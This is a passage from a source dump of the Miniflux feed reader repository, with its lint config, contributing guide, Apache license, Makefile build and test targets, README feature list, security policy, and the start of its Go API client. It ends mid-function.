    "content": "version: \"2\"\nlinters:\n  default: standard\n  disable:\n    - errcheck\n  enable:\n    - errname\n    - gocritic\n    - goheader\n    - loggercheck\n    - misspell\n    - perfsprint\n    - sqlclosecheck\n    - staticcheck\n    - whitespace\n  settings:\n    loggercheck:\n      slog: true\n    goheader:\n      template: |-\n        SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n        SPDX-License-Identifier: Apache-2.0\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contributing to Miniflux\n\nThis document outlines how to contribute effectively to Miniflux.\n\n## Philosophy\n\nMiniflux follows a **minimalist philosophy**. The feature set is intentionally kept limited to avoid bloatware. Before contributing, please understand that:\n\n- **Improving existing features takes priority over adding new ones**\n- **Quality over quantity** - well-implemented, focused features are preferred\n- **Simplicity is key** - complex solutions are discouraged in favor of simple, maintainable code\n\n## Before You Start\n\n### Feature Requests\n\nBefore implementing a new feature:\n\n- Check if it aligns with Miniflux's philosophy\n- Consider if the feature could be implemented differently to maintain simplicity\n- Remember that developing software takes significant time, and this is a volunteer-driven project\n- If you need a specific feature, the best approach is to contribute it yourself\n\n### Bug Reports\n\nWhen reporting bugs:\n\n- Search existing issues first to avoid duplicates\n- Provide clear reproduction steps\n- Include relevant system information (OS, browser, Miniflux version)\n- Include error messages, screenshots, and logs when applicable\n\n## Development Setup\n\n### Requirements\n\n- **Git**\n- **Go >= 1.24**\n- **PostgreSQL**\n\n### Getting Started\n\n1. **Fork the repository** on GitHub\n2. **Clone your fork locally:**\n   ```bash\n   git clone https://github.com/YOUR_USERNAME/miniflux.git\n   cd miniflux\n   ```\n\n3. **Build the application binary:**\n   ```bash\n   make miniflux\n   ```\n\n4. **Run locally in debug mode:**\n   ```bash\n   make run\n   ```\n\n### Database Setup\n\nFor development and testing, you can run a local PostgreSQL database with Docker:\n\n```bash\n# Start PostgreSQL container\ndocker run --rm --name miniflux2-db -p 5432:5432 \\\n  -e POSTGRES_DB=miniflux2 \\\n  -e POSTGRES_USER=postgres \\\n  -e POSTGRES_PASSWORD=postgres \\\n  postgres\n```\n\nYou can also use an existing PostgreSQL instance. Make sure to set the `DATABASE_URL` environment variable accordingly.\n\n## Development Workflow\n\n### Code Quality\n\n1. **Run the linter:**\n   ```bash\n   make lint\n   ```\n   Requires `staticcheck` and `golangci-lint` to be installed.\n\n2. **Run unit tests:**\n   ```bash\n   make test\n   ```\n\n3. **Run integration tests:**\n   ```bash\n   make integration-test\n   make clean-integration-test\n   ```\n\n### Building\n\n- **Current platform:** `make miniflux`\n- **All platforms:** `make build`\n- **Specific platforms:** `make linux-amd64`, `make darwin-arm64`, etc.\n- **Docker image:** `make docker-image`\n\n### Cross-Platform Support\n\nMiniflux supports multiple architectures. When making changes, ensure compatibility across:\n- Linux (amd64, arm64, armv7, armv6, armv5)\n- macOS (amd64, arm64)\n- FreeBSD, OpenBSD, Windows (amd64)\n\n## Pull Request Guidelines\n\n### What Is Preferred\n\n✅ **Good Pull Requests:**\n\n- Focus on a single issue or feature\n- Include tests for new functionality\n- Maintain or improve performance\n- Follow existing code style and patterns\n- The commit messages follow the [conventional commit format](https://www.conventionalcommits.org/) (e.g., `feat: add new feature`, `fix: resolve bug`)\n- Update documentation when necessary\n\n### What to Avoid\n\n❌ **Pull Requests That Cannot Be Accepted:**\n\n- **Too many changes** - makes review difficult\n- **Breaking changes** - disrupts existing functionality\n- **New bugs or regressions** - reduces software quality\n- **Unnecessary dependencies** - conflicts with minimalist approach\n- **Performance degradation** - slows down the software\n- **Poor-quality code** - hard to maintain\n- **Dependent PRs** - creates review complexity\n- **Radical UI changes** - disrupts user experience\n- **Conflicts with philosophy** - doesn't align with minimalist approach\n\n### Pull Request Template\n\nWhen creating a pull request, please include:\n\n- **Description:** What does this PR do?\n- **Motivation:** Why is this change needed?\n- **Testing:** How was this tested?\n- **Breaking Changes:** Are there any breaking changes?\n- **Related Issues:** Link to any related issues\n\n## Code Style\n\n- Follow Go conventions and best practices\n- Use `gofmt` to format your Go code, and `jshint` for JavaScript\n- Write clear, descriptive variable and function names\n- Include comments for complex logic\n- Keep functions small and focused\n\n## Testing\n\n### Unit Tests\n- Write unit tests for new functions and methods\n- Ensure tests are fast and don't require external dependencies\n- Aim for good test coverage\n\n### Integration Tests\n- Add integration tests for new API endpoints\n- Tests run against a real PostgreSQL database\n- Ensure tests clean up after themselves\n\n## Communication\n\n- **Discussions:** Use GitHub Discussions for general questions and community interaction\n- **Issues:** Use GitHub issues for bug reports and feature requests\n- **Pull Requests:** Use PR comments for code-specific discussions\n- **Philosophy Questions:** Refer to the FAQ for common questions about project direction\n\n## Questions?\n\n- Check the [FAQ](https://miniflux.app/faq.html) for common questions\n- Review the [development documentation](https://miniflux.app/docs/development.html) and [internationalization guide](https://miniflux.app/docs/i18n.html)\n- Look at existing issues and pull requests for examples\n"
  },
  {
    "path": "LICENSE",
    "content": "\n                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n      as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n          that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n"
  },
  {
    "path": "Makefile",
    "content": "APP             := miniflux\nDOCKER_IMAGE    := miniflux/miniflux\nVERSION         := $(shell git describe --tags --exact-match 2>/dev/null)\nLD_FLAGS        := \"-s -w -X 'miniflux.app/v2/internal/version.Version=$(VERSION)'\"\nPKG_LIST        := $(shell go list ./... | grep -v /vendor/)\nDB_URL          := postgres://postgres:postgres@localhost/miniflux_test?sslmode=disable\nDOCKER_PLATFORM := amd64\n\nexport PGPASSWORD := postgres\n\n.PHONY: \\\n\tminiflux \\\n\tminiflux-no-pie \\\n\tlinux-amd64 \\\n\tlinux-arm64 \\\n\tlinux-armv7 \\\n\tlinux-armv6 \\\n\tlinux-armv5 \\\n\tdarwin-amd64 \\\n\tdarwin-arm64 \\\n\tfreebsd-amd64 \\\n\topenbsd-amd64 \\\n\tbuild \\\n\trun \\\n\tclean \\\n\tadd-string \\\n\ttest \\\n\tlint \\\n\tintegration-test \\\n\tclean-integration-test \\\n\tdocker-image \\\n\tdocker-image-distroless \\\n\tdocker-images \\\n\trpm \\\n\tdebian \\\n\tdebian-packages\n\nminiflux:\n\t@ go build -buildmode=pie -ldflags=$(LD_FLAGS) -o $(APP)\n\nminiflux-no-pie:\n\t@ go build -ldflags=$(LD_FLAGS) -o $(APP)\n\nlinux-amd64:\n\t@ CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags=$(LD_FLAGS) -o $(APP)-$@\n\t@ sha256sum $(APP)-$@ > $(APP)-$@.sha256\n\nlinux-arm64:\n\t@ CGO_ENABLED=0 GOOS=linux GOARCH=arm64 go build -ldflags=$(LD_FLAGS) -o $(APP)-$@\n\t@ sha256sum $(APP)-$@ > $(APP)-$@.sha256\n\nlinux-armv7:\n\t@ CGO_ENABLED=0 GOOS=linux GOARCH=arm GOARM=7 go build -ldflags=$(LD_FLAGS) -o $(APP)-$@\n\t@ sha256sum $(APP)-$@ > $(APP)-$@.sha256\n\nlinux-armv6:\n\t@ CGO_ENABLED=0 GOOS=linux GOARCH=arm GOARM=6 go build -ldflags=$(LD_FLAGS) -o $(APP)-$@\n\t@ sha256sum $(APP)-$@ > $(APP)-$@.sha256\n\nlinux-armv5:\n\t@ CGO_ENABLED=0 GOOS=linux GOARCH=arm GOARM=5 go build -ldflags=$(LD_FLAGS) -o $(APP)-$@\n\t@ sha256sum $(APP)-$@ > $(APP)-$@.sha256\n\ndarwin-amd64:\n\t@ GOOS=darwin GOARCH=amd64 go build -ldflags=$(LD_FLAGS) -o $(APP)-$@\n\t@ sha256sum $(APP)-$@ > $(APP)-$@.sha256\n\ndarwin-arm64:\n\t@ GOOS=darwin GOARCH=arm64 go build -ldflags=$(LD_FLAGS) -o $(APP)-$@\n\t@ sha256sum $(APP)-$@ > $(APP)-$@.sha256\n\nfreebsd-amd64:\n\t@ CGO_ENABLED=0 GOOS=freebsd GOARCH=amd64 go build -ldflags=$(LD_FLAGS) -o $(APP)-$@\n\t@ sha256sum $(APP)-$@ > $(APP)-$@.sha256\n\nopenbsd-amd64:\n\t@ GOOS=openbsd GOARCH=amd64 go build -ldflags=$(LD_FLAGS) -o $(APP)-$@\n\t@ sha256sum $(APP)-$@ > $(APP)-$@.sha256\n\nbuild: linux-amd64 linux-arm64 linux-armv7 linux-armv6 linux-armv5 darwin-amd64 darwin-arm64 freebsd-amd64 openbsd-amd64\n\nrun:\n\t@ LOG_DATE_TIME=1 LOG_LEVEL=debug RUN_MIGRATIONS=1 CREATE_ADMIN=1 ADMIN_USERNAME=admin ADMIN_PASSWORD=test123 go run main.go\n\nclean:\n\t@ rm -f $(APP)-* $(APP) $(APP)*.rpm $(APP)*.deb $(APP)*.exe $(APP)*.sha256\n\nadd-string:\n\tcd internal/locale/translations && \\\n\tfor file in *.json; do \\\n\t\tjq --indent 4 --arg key \"$(KEY)\" --arg val \"$(VAL)\" \\\n\t\t   '. + {($$key): $$val} | to_entries | sort_by(.key) | from_entries' \"$$file\" > tmp && \\\n\t\tmv tmp \"$$file\"; \\\n\tdone\n\ntest:\n\tgo test -cover -race -count=1 ./...\n\nlint:\n\tgo vet ./...\n\ttest -z \"$$(gofmt -l .)\"\n\tgolangci-lint run\n\nintegration-test:\n\tpsql -U postgres -c 'drop database if exists miniflux_test;'\n\tpsql -U postgres -c 'create database miniflux_test;'\n\n\tDATABASE_URL=$(DB_URL) \\\n\tADMIN_USERNAME=admin \\\n\tADMIN_PASSWORD=test123 \\\n\tCREATE_ADMIN=1 \\\n\tRUN_MIGRATIONS=1 \\\n\tLOG_LEVEL=debug \\\n\tFETCHER_ALLOW_PRIVATE_NETWORKS=1 \\\n\tINTEGRATION_ALLOW_PRIVATE_NETWORKS=1 \\\n\tgo run main.go >/tmp/miniflux.log 2>&1 & echo \"$$!\" > \"/tmp/miniflux.pid\"\n\n\twhile ! nc -z localhost 8080; do sleep 1; done\n\n\tTEST_MINIFLUX_BASE_URL=http://127.0.0.1:8080 \\\n\tTEST_MINIFLUX_ADMIN_USERNAME=admin \\\n\tTEST_MINIFLUX_ADMIN_PASSWORD=test123 \\\n\tgo test -v -count=1 ./internal/api\n\nclean-integration-test:\n\t@ kill -9 `cat /tmp/miniflux.pid`\n\t@ rm -f /tmp/miniflux.pid /tmp/miniflux.log\n\t@ psql -U postgres -c 'drop database if exists miniflux_test;'\n\ndocker-image:\n\tdocker build --pull -t $(DOCKER_IMAGE):$(VERSION) -f packaging/docker/alpine/Dockerfile .\n\ndocker-image-distroless:\n\tdocker build -t $(DOCKER_IMAGE):$(VERSION) -f packaging/docker/distroless/Dockerfile .\n\ndocker-images:\n\tdocker buildx build \\\n\t\t--platform linux/amd64,linux/arm64,linux/arm/v7,linux/arm/v6 \\\n\t\t--file packaging/docker/alpine/Dockerfile \\\n\t\t--tag $(DOCKER_IMAGE):$(VERSION) \\\n\t\t--push .\n\nrpm: clean\n\t@ docker build \\\n\t\t-t miniflux-rpm-builder \\\n\t\t-f packaging/rpm/Dockerfile \\\n\t\t.\n\t@ docker run --rm \\\n\t\t-v ${PWD}:/root/rpmbuild/RPMS/x86_64 miniflux-rpm-builder \\\n\t\trpmbuild -bb --define \"_miniflux_version $(VERSION)\" /root/rpmbuild/SPECS/miniflux.spec\n\ndebian:\n\t@ docker buildx build --load \\\n\t\t--platform linux/$(DOCKER_PLATFORM) \\\n\t\t-t miniflux-deb-builder \\\n\t\t-f packaging/debian/Dockerfile \\\n\t\t.\n\t@ docker run --rm --platform linux/$(DOCKER_PLATFORM) \\\n\t\t-v ${PWD}:/pkg miniflux-deb-builder\n\ndebian-packages: clean\n\t$(MAKE) debian DOCKER_PLATFORM=amd64\n\t$(MAKE) debian DOCKER_PLATFORM=arm64\n\t$(MAKE) debian DOCKER_PLATFORM=arm/v7\n"
  },
  {
    "path": "Procfile",
    "content": "web: miniflux.app\n"
  },
  {
    "path": "README.md",
    "content": "Miniflux 2\n==========\n\nMiniflux is a minimalist and opinionated feed reader.\nIt's simple, fast, lightweight and super easy to install.\n\nOfficial website: <https://miniflux.app>\n\nFeatures\n--------\n\n### Feed Reader\n\n- Supported feed formats: Atom 0.3/1.0, RSS 1.0/2.0, and JSON Feed 1.0/1.1.\n- [OPML](https://en.wikipedia.org/wiki/OPML) file import/export and URL import.\n- Supports multiple attachments (podcasts, videos, music, and images enclosures).\n- Plays videos from YouTube directly inside Miniflux.\n- Organizes articles using categories and bookmarks.\n- Share individual articles publicly.\n- Fetches website icons (favicons).\n- Saves articles to third-party services.\n- Provides full-text search (powered by Postgres).\n- Available in 20 languages: Portuguese (Brazilian), Chinese (Simplified and Traditional), Dutch, English (US), Finnish, French, German, Greek, Hindi, Indonesian, Italian, Japanese, Polish, Romanian, Russian, Taiwanese POJ, Ukrainian, Spanish, and Turkish.\n\n### Privacy and Security\n\n- Removes pixel trackers.\n- Strips tracking parameters from URLs (e.g., `utm_source`, `utm_medium`, `utm_campaign`, `fbclid`, etc.).\n- Retrieves original links when feeds are sourced from FeedBurner.\n- Opens external links with attributes `rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\"` for improved security.\n- Implements the HTTP header `Referrer-Policy: no-referrer` to prevent referrer leakage.\n- Provides a media proxy to avoid tracking and resolve mixed content warnings when using HTTPS.\n- Plays YouTube videos via the privacy-focused domain `youtube-nocookie.com`.\n- Supports alternative YouTube video players such as [Invidious](https://invidio.us).\n- Blocks external JavaScript to prevent tracking and enhance security.\n- Sanitizes external content before rendering it.\n- Enforces a [Content Security](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) and a [Trusted Types Policy](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API) to only application JavaScript and blocks inline scripts and styles. \n\n### Bot Protection Bypass Mechanisms\n\n- Optionally disable HTTP/2 to mitigate fingerprinting.\n- Allows configuration of a custom user agent.\n- Supports adding custom cookies for specific use cases.\n- Enables the use of proxies for enhanced privacy or bypassing restrictions.\n\n### Content Manipulation\n\n- Fetches the original article and extracts only the relevant content using a local Readability parser.\n- Allows custom scraper rules based on <abbr title=\"Cascading Style Sheets\">CSS</abbr> selectors.\n- Supports custom rewriting rules for content manipulation.\n- Provides a regex filter to include or exclude articles based on specific patterns.\n- Optionally permits self-signed or invalid certificates (disabled by default).\n- Scrapes YouTube's website to retrieve video duration as read time or uses the YouTube API (disabled by default).\n\n### User Interface\n\n- Optimized stylesheet for readability.\n- Responsive design that adapts seamlessly to desktop, tablet, and mobile devices.\n- Minimalistic and distraction-free user interface.\n- No requirement to download an app from Apple App Store or Google Play Store.\n- Can be added directly to the home screen for quick access.\n- Supports a wide range of keyboard shortcuts for efficient navigation.\n- Optional touch gesture support for navigation on mobile devices.\n- Custom stylesheets and JavaScript to personalize the user interface to your preferences.\n- Themes:\n    - Light (Sans-Serif)\n    - Light (Serif)\n    - Dark (Sans-Serif)\n    - Dark (Serif)\n    - System (Sans-Serif) – Automatically switches between Dark and Light themes based on system preferences.\n    - System (Serif)\n\n### Integrations\n\n- 25+ integrations with third-party services: [Apprise](https://github.com/caronc/apprise), [Betula](https://sr.ht/~bouncepaw/betula/), [Cubox](https://cubox.cc/), [Discord](https://discord.com/), [Espial](https://github.com/jonschoning/espial), [Instapaper](https://www.instapaper.com/), [LinkAce](https://www.linkace.org/), [Linkding](https://github.com/sissbruecker/linkding), [LinkTaco](https://linktaco.com), [LinkWarden](https://linkwarden.app/), [Matrix](https://matrix.org), [Notion](https://www.notion.com/), [Ntfy](https://ntfy.sh/), [Nunux Keeper](https://keeper.nunux.org/), [Pinboard](https://pinboard.in/), [Pushover](https://pushover.net), [RainDrop](https://raindrop.io/), [Readeck](https://readeck.org/en/), [Readwise Reader](https://readwise.io/read), [RssBridge](https://rss-bridge.org/), [Shaarli](https://github.com/shaarli/Shaarli), [Shiori](https://github.com/go-shiori/shiori), [Slack](https://slack.com/), [Telegram](https://telegram.org), [Wallabag](https://www.wallabag.org/), etc.\n- Bookmarklet for subscribing to websites directly from any web browser.\n- Webhooks for real-time notifications or custom integrations.\n- Compatibility with existing mobile applications using the Fever or Google Reader API.\n- REST API with client libraries available in [Go](https://github.com/miniflux/v2/tree/main/client) and [Python](https://github.com/miniflux/python-client).\n\n### Authentication\n\n- Local username and password.\n- Passkeys ([WebAuthn](https://en.wikipedia.org/wiki/WebAuthn)).\n- Google (OAuth2).\n- Generic OpenID Connect.\n- Reverse-Proxy authentication.\n\n### Technical Stuff\n\n- Written in [Go (Golang)](https://golang.org/).\n- Single binary compiled statically without dependency.\n- Works only with [PostgreSQL](https://www.postgresql.org/).\n- Does not use any ORM or any complicated frameworks.\n- Uses modern vanilla JavaScript only when necessary.\n- All static files are bundled into the application binary using the Go `embed` package.\n- Supports the Systemd `sd_notify` protocol for process monitoring.\n- Configures HTTPS automatically with Let's Encrypt.\n- Allows the use of custom <abbr title=\"Secure Sockets Layer\">SSL</abbr> certificates.\n- Supports [HTTP/2](https://en.wikipedia.org/wiki/HTTP/2) when TLS is enabled.\n- Updates feeds in the background using an internal scheduler or a traditional cron job.\n- Uses native lazy loading for images and iframes.\n- Compatible only with modern browsers.\n- Adheres to the [Twelve-Factor App](https://12factor.net/) methodology.\n- Provides official Debian/RPM packages and pre-built binaries.\n- Publishes a Docker image to Docker Hub, GitHub Registry, and Quay.io Registry, with ARM architecture support.\n- Uses a limited amount of third-party go dependencies\n- Has a comprehensive testsuite, with both unit tests and integration tests.\n- Only uses a couple of MB of memory and a negligible amount of CPU, even with several hundreds of feeds.\n- Respects/sends Last-Modified, If-Modified-Since, If-None-Match, Cache-Control, Expires and ETags headers, and has a default polling interval of 1h.\n\nDocumentation\n-------------\n\nThe Miniflux documentation is available here: <https://miniflux.app/docs/> ([Man page](https://miniflux.app/miniflux.1.html))\n\n- [Opinionated?](https://miniflux.app/opinionated.html)\n- [Features](https://miniflux.app/features.html)\n- [Requirements](https://miniflux.app/docs/requirements.html)\n- [Installation Instructions](https://miniflux.app/docs/installation.html)\n- [Upgrading to a New Version](https://miniflux.app/docs/upgrade.html)\n- [Configuration](https://miniflux.app/docs/configuration.html)\n- [Command Line Usage](https://miniflux.app/docs/cli.html)\n- [User Interface Usage](https://miniflux.app/docs/ui.html)\n- [Keyboard Shortcuts](https://miniflux.app/docs/keyboard_shortcuts.html)\n- [Integration with External Services](https://miniflux.app/docs/#integrations)\n- [Rewrite and Scraper Rules](https://miniflux.app/docs/rules.html)\n- [API Reference](https://miniflux.app/docs/api.html)\n- [Development](https://miniflux.app/docs/development.html)\n- [Internationalization](https://miniflux.app/docs/i18n.html)\n- [Frequently Asked Questions](https://miniflux.app/faq.html)\n\nScreenshots\n-----------\n\nDefault theme:\n\n![Default theme](https://miniflux.app/images/overview.png)\n\nDark theme when using keyboard navigation:\n\n![Dark theme](https://miniflux.app/images/item-selection-black-theme.png)\n\nCredits\n-------\n\n- Authors: Frédéric Guillot - [List of contributors](https://github.com/miniflux/v2/graphs/contributors)\n- Distributed under Apache 2.0 License\n"
  },
  {
    "path": "SECURITY.md",
    "content": "# Security Policy\n\n## Supported Versions\n\nOnly the latest stable version is supported.\n\n## Reporting a Vulnerability\n\nPreferably, [report the vulnerability privately using GitHub](https://github.com/miniflux/v2/security/advisories/new) ([documentation](https://docs.github.com/en/code-security/security-advisories/guidance-on-reporting-and-writing/privately-reporting-a-security-vulnerability)).\n\nIf you do not want to use GitHub, send an email to `security AT miniflux DOT net` with all the steps to reproduce the problem.\n"
  },
  {
    "path": "client/README.md",
    "content": "Miniflux API Client\n===================\n\n[![PkgGoDev](https://pkg.go.dev/badge/miniflux.app/v2/client)](https://pkg.go.dev/miniflux.app/v2/client)\n\nGo client for the Miniflux REST API. It supports API tokens or basic authentication and mirrors the server endpoints closely.\n\nInstallation\n------------\n\n```bash\ngo get -u miniflux.app/v2/client\n```\n\nExample\n-------\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\tminiflux \"miniflux.app/v2/client\"\n)\n\nfunc main() {\n    // Authentication with username/password:\n    client := miniflux.NewClient(\"https://api.example.org\", \"admin\", \"secret\")\n\n    // Authentication with an API Key:\n    client := miniflux.NewClient(\"https://api.example.org\", \"my-secret-token\")\n\n    // Fetch all feeds.\n    feeds, err := client.Feeds()\n    if err != nil {\n        fmt.Println(err)\n        return\n    }\n    fmt.Println(feeds)\n\n    // Backup your feeds to an OPML file.\n    opml, err := client.Export()\n    if err != nil {\n        fmt.Println(err)\n        return\n    }\n\n    err = os.WriteFile(\"opml.xml\", opml, 0644)\n    if err != nil {\n        fmt.Println(err)\n        return\n    }\n}\n```\n"
  },
  {
    "path": "client/client.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage client // import \"miniflux.app/v2/client\"\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// Client holds API procedure calls.\ntype Client struct {\n\trequest *request\n}\n\n// New returns a new Miniflux client.\n//\n// Deprecated: use NewClient instead.\n//\n//go:fix inline\nfunc New(endpoint string, credentials ...string) *Client {\n\treturn NewClient(endpoint, credentials...)\n}\n\n// NewClient returns a new Miniflux client.\nfunc NewClient(endpoint string, credentials ...string) *Client {\n\tswitch len(credentials) {\n\tcase 2:\n\t\treturn NewClientWithOptions(endpoint, WithCredentials(credentials[0], credentials[1]))\n\tcase 1:\n\t\treturn NewClientWithOptions(endpoint, WithAPIKey(credentials[0]))\n\tdefault:\n\t\treturn NewClientWithOptions(endpoint)\n\t}\n}\n\n// NewClientWithOptions returns a new Miniflux client with options.\nfunc NewClientWithOptions(endpoint string, options ...Option) *Client {\n\t// Trim trailing slashes and /v1 from the endpoint.\n\tendpoint = strings.TrimSuffix(endpoint, \"/\")\n\tendpoint = strings.TrimSuffix(endpoint, \"/v1\")\n\trequest := &request{endpoint: endpoint, client: http.DefaultClient}\n\n\tfor _, option := range options {\n\t\toption(request)\n\t}\n\n\treturn &Client{request: request}\n}\n\nfunc withDefaultTimeout() (context.Context, func()) {\n\tctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)\n\treturn ctx, cancel\n}\n\n// Healthcheck checks if the application is up and running.\nfunc (c *Client) Healthcheck() error {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.HealthcheckContext(ctx)\n}\n\n// HealthcheckContext checks if the application is up and running.\nfunc (c *Client) HealthcheckContext(ctx context.Context) error {\n\tbody, err := c.request.Get(ctx, \"/healthcheck\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"miniflux: unable to perform healthcheck: %w\", err)\n\t}\n\tdefer body.Close()\n\n\tresponseBodyContent, err := io.ReadAll(body)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"miniflux: unable to read healthcheck response: %w\", err)\n\t}\n\n\tif string(responseBodyContent) != \"OK\" {\n\t\treturn fmt.Errorf(\"miniflux: invalid healthcheck response: %q\", responseBodyContent)\n\t}\n\n\treturn nil\n}\n\n// Version returns the version of the Miniflux instance.\nfunc (c *Client) Version() (*VersionResponse, error) {\n\tctx, cancel := 